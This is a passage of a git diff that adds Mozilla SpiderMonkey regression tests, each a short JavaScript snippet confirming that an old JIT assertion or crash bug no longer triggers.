+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452713;
+var summary = 'Do not assert with JIT: "Should not move data from GPR to XMM": false';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if (''[-1]) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452724-01.js b/js/src/tests/non262/regress/regress-452724-01.js
new file mode 100644
index 0000000000..43ce14720a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452724-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452724;
+var summary = 'Do not assert with JIT: (rmask(rr) & FpRegs) != 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j=0;j<5;++j) { (0/0) in this; } })()
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452724-02.js b/js/src/tests/non262/regress/regress-452724-02.js
new file mode 100644
index 0000000000..f2dd3d84a5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452724-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452724;
+var summary = 'Do not crash with JIT: @TraceRecorder::getThis';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { (0/0) in this; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452742-01.js b/js/src/tests/non262/regress/regress-452742-01.js
new file mode 100644
index 0000000000..7d1b675f07
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452742-01.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452742;
+var summary = 'Do not do overzealous eval inside function optimization in BindNameToSlot';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Error';
+
+ var obj = { x: -100 };
+
+ function a(x)
+ {
+ var orig_x = x;
+ var orig_obj_x = obj.x;
+
+ with (obj) { eval("x = x + 10"); }
+
+ if (x !== orig_x)
+ throw "Unexpected mutation of x: " + x;
+ if (obj.x !== orig_obj_x + 10)
+ throw "Unexpected mutation of obj.x: " + obj.x;
+ }
+
+ try
+ {
+ a(0);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452742-02.js b/js/src/tests/non262/regress/regress-452742-02.js
new file mode 100644
index 0000000000..6b6f5c0606
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452742-02.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452742;
+var summary = 'Do not do overzealous eval inside function optimization in BindNameToSlot';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '';
+
+ var obj = { arguments: [-100] };
+
+ function a()
+ {
+ with (obj) { return eval("arguments[0]"); }
+ }
+
+ function b()
+ {
+ var result;
+ eval('with (obj) { result = eval("arguments[0]"); };');
+ return result;
+ }
+
+ try
+ {
+ var result = a();
+ if (result !== -100)
+ throw "Bad result " + result;
+
+ var result = b();
+ if (result !== -100)
+ throw "Bad result " + result;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452853.js b/js/src/tests/non262/regress/regress-452853.js
new file mode 100644
index 0000000000..6de2d5ac53
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452853.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452853;
+var summary = 'Do not crash in simple loop with array';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0; j<4; ++j) { var a = ["", ""]; a[0] * a[1]; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452884-01.js b/js/src/tests/non262/regress/regress-452884-01.js
new file mode 100644
index 0000000000..587bc30d19
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452884-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452884;
+var summary = 'Do not crash in switch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { switch(1.1) { case NaN: case 2: } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452884-02.js b/js/src/tests/non262/regress/regress-452884-02.js
new file mode 100644
index 0000000000..bc1c1608a8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452884-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452884;
+var summary = 'Do not crash in switch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { switch(1.1) { case 2: case NaN: } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452960.js b/js/src/tests/non262/regress/regress-452960.js
new file mode 100644
index 0000000000..4fe6531db4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452960.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452960;
+var summary = 'Do not assert with JIT: !v.isPrimitive()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var f = function(){};
+ f.prototype = false;
+ for (let j=0;j<5;++j) { new f; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453024.js b/js/src/tests/non262/regress/regress-453024.js
new file mode 100644
index 0000000000..9740ca916b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453024.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453024;
+var summary = 'Do not assert: vp + 2 + argc <= (jsval *) cx->stackPool.current->avail';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+gDelayTestDriverEnd = true;
+var j = 0;
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < 2000; ++i) {
+ var ns = document.createElementNS("http://www.w3.org/1999/xhtml", "script");
+ var nt = document.createTextNode("++j");
+ ns.appendChild(nt);
+ document.body.appendChild(ns);
+ }
+
+ gDelayTestDriverEnd = false;
+
+ reportCompare(expect, actual, summary);
+
+ jsTestDriverEnd();
+}
+
+window.addEventListener('load', test, false);
diff --git a/js/src/tests/non262/regress/regress-453049.js b/js/src/tests/non262/regress/regress-453049.js
new file mode 100644
index 0000000000..ab74cd5828
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453049.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453049;
+var summary = 'Do not assert with JIT: (*m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var z = 0; for (let j = 0; j < 5; ++j) { ({p: (-z)}); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453051.js b/js/src/tests/non262/regress/regress-453051.js
new file mode 100644
index 0000000000..bf314e7271
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453051.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453051;
+var summary = 'Do not assert with JIT: !(((*pc == JSOP_GOTO) || (*pc == JSOP_GOTOX)) && (exitType != LOOP_EXIT))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var p in this){} for (let a in [5,6,7]) for (var b=0;b<1;++b) break;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453173.js b/js/src/tests/non262/regress/regress-453173.js
new file mode 100644
index 0000000000..0129c6a054
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453173.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453173;
+var summary = 'Do not Crash with JIT [@ TraceRecorder::record_JSOP_ENDINIT] with "[,]"';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i;
+
+
+ for(i=0;i<4;++i) [,];
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453397.js b/js/src/tests/non262/regress/regress-453397.js
new file mode 100644
index 0000000000..5e3309446b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453397.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453397;
+var summary = 'Do not assert with JIT: script->main <= target && target < script->code + script->length';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function computeEscapeSpeed(real) {
+ for (var j = 1; j < 4; ++j) {
+ if (real > 2) {
+ }
+ }
+ }
+
+ const numRows = 4;
+ const numCols = 4;
+ var realStep = 1.5;
+ for (var i = 0, curReal = -2.1;
+ i < numCols;
+ ++i, curReal += realStep) {
+ for (var j = 0; j < numRows; ++j) {
+ computeEscapeSpeed(curReal);
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453701.js b/js/src/tests/non262/regress/regress-453701.js
new file mode 100644
index 0000000000..c38148770c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453701.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453701;
+var summary = 'Do not assert with JIT: (rmask(rr) & FpRegs) != 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (1).hasOwnProperty(""); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453747.js b/js/src/tests/non262/regress/regress-453747.js
new file mode 100644
index 0000000000..93d54237b9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453747.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453747;
+var summary = 'Do not assert with JIT: boxed.isUndefined() || boxed.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){
+ var a = [];
+ var s = 10;
+ for (var i = 0; i < s; ++i)
+ a[i] = 1;
+ a[4*s-1] = 2;
+ for (var i = s+1; i < s+4; ++i)
+ typeof a[i];
+ })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-454682.js b/js/src/tests/non262/regress/regress-454682.js
new file mode 100644
index 0000000000..39ef5bdc09
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-454682.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454682;
+var summary = 'Do not crash with JIT in MatchRegExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = new String("foo");
+ for (i = 0; i < 300; i++) {
+ a.match(/bar/);
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-454981.js b/js/src/tests/non262/regress/regress-454981.js
new file mode 100644
index 0000000000..9af3525569
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-454981.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454981;
+var summary = 'Do not assert with JIT: size_t(p - cx->fp->slots) < cx->fp->script->nslots';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f1() {
+ function f0() { return arguments[0]; }
+ for (var i = 0; i < 4; i++) f0('a');
+ }
+ f1();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455605.js b/js/src/tests/non262/regress/regress-455605.js
new file mode 100644
index 0000000000..edb3ceb06a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455605.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455605;
+var summary = 'Do not assert with JIT: "need a way to EOT now, since this is trace end": 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { switch(0/0) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455748.js b/js/src/tests/non262/regress/regress-455748.js
new file mode 100644
index 0000000000..5f67290f56
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455748.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455748;
+var summary = 'Do not assert with JIT: Should not move data from GPR to XMM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if([1][-0]) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455758-01.js b/js/src/tests/non262/regress/regress-455758-01.js
new file mode 100644
index 0000000000..0536d3b4cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455758-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455758;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { var t = 3 % (-0); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455758-02.js b/js/src/tests/non262/regress/regress-455758-02.js
new file mode 100644
index 0000000000..3426720b43
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455758-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455758;
+var summary = 'Do not crash: divide by zero';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { 3 % (-0); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455775.js b/js/src/tests/non262/regress/regress-455775.js
new file mode 100644
index 0000000000..4267bb6946
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455775.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455775;
+var summary = 'Do not assert: cx->fp->flags & JSFRAME_EVAL';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { var c; eval("new (c ? 1 : {});"); })();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455981-01.js b/js/src/tests/non262/regress/regress-455981-01.js
new file mode 100644
index 0000000000..fa43a28894
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455981-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455981;
+var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: duplicate argument names not allowed in this context';
+
+ try
+ {
+ eval('(function ({a, b, c, d, e, f, g, h, q}, q) { })');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455981-02.js b/js/src/tests/non262/regress/regress-455981-02.js
new file mode 100644
index 0000000000..cefa0dfdf8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455981-02.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455981;
+var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: duplicate argument names not allowed in this context';
+
+ try
+ {
+ eval('(function ({a: {b: bb, c: cc, d: dd}, m: [x, n, o, p]}, x) {});');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456470.js b/js/src/tests/non262/regress/regress-456470.js
new file mode 100644
index 0000000000..11d79b9ce2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456470.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456470;
+var summary = 'TM: Make sure JSOP_DEFLOCALFUN pushes the right function object.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function x() {
+ function a() {
+ return true;
+ }
+ return a();
+ }
+
+ for (var i = 0; i < 10; ++i)
+ x();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456477-01.js b/js/src/tests/non262/regress/regress-456477-01.js
new file mode 100644
index 0000000000..209a0ffdef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456477-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456477;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with (0/0)%(-1)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { var t = (0 / 0) % (-1); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456477-02.js b/js/src/tests/non262/regress/regress-456477-02.js
new file mode 100644
index 0000000000..4b98952dd3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456477-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456477;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with (0/0)%(-1)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (0 / 0) % (-1); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456494.js b/js/src/tests/non262/regress/regress-456494.js
new file mode 100644
index 0000000000..ecf21db0ad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456494.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456494;
+var summary = 'Do not crash with apply and argc > nargs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function k(s)
+ {
+ }
+ function f()
+ {
+ for (i = 0; i < 10; i++)
+ {
+ k.apply(this, arguments);
+ }
+ }
+ f(1);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456540-01.js b/js/src/tests/non262/regress/regress-456540-01.js
new file mode 100644
index 0000000000..ac1c42ea87
--- /dev/null
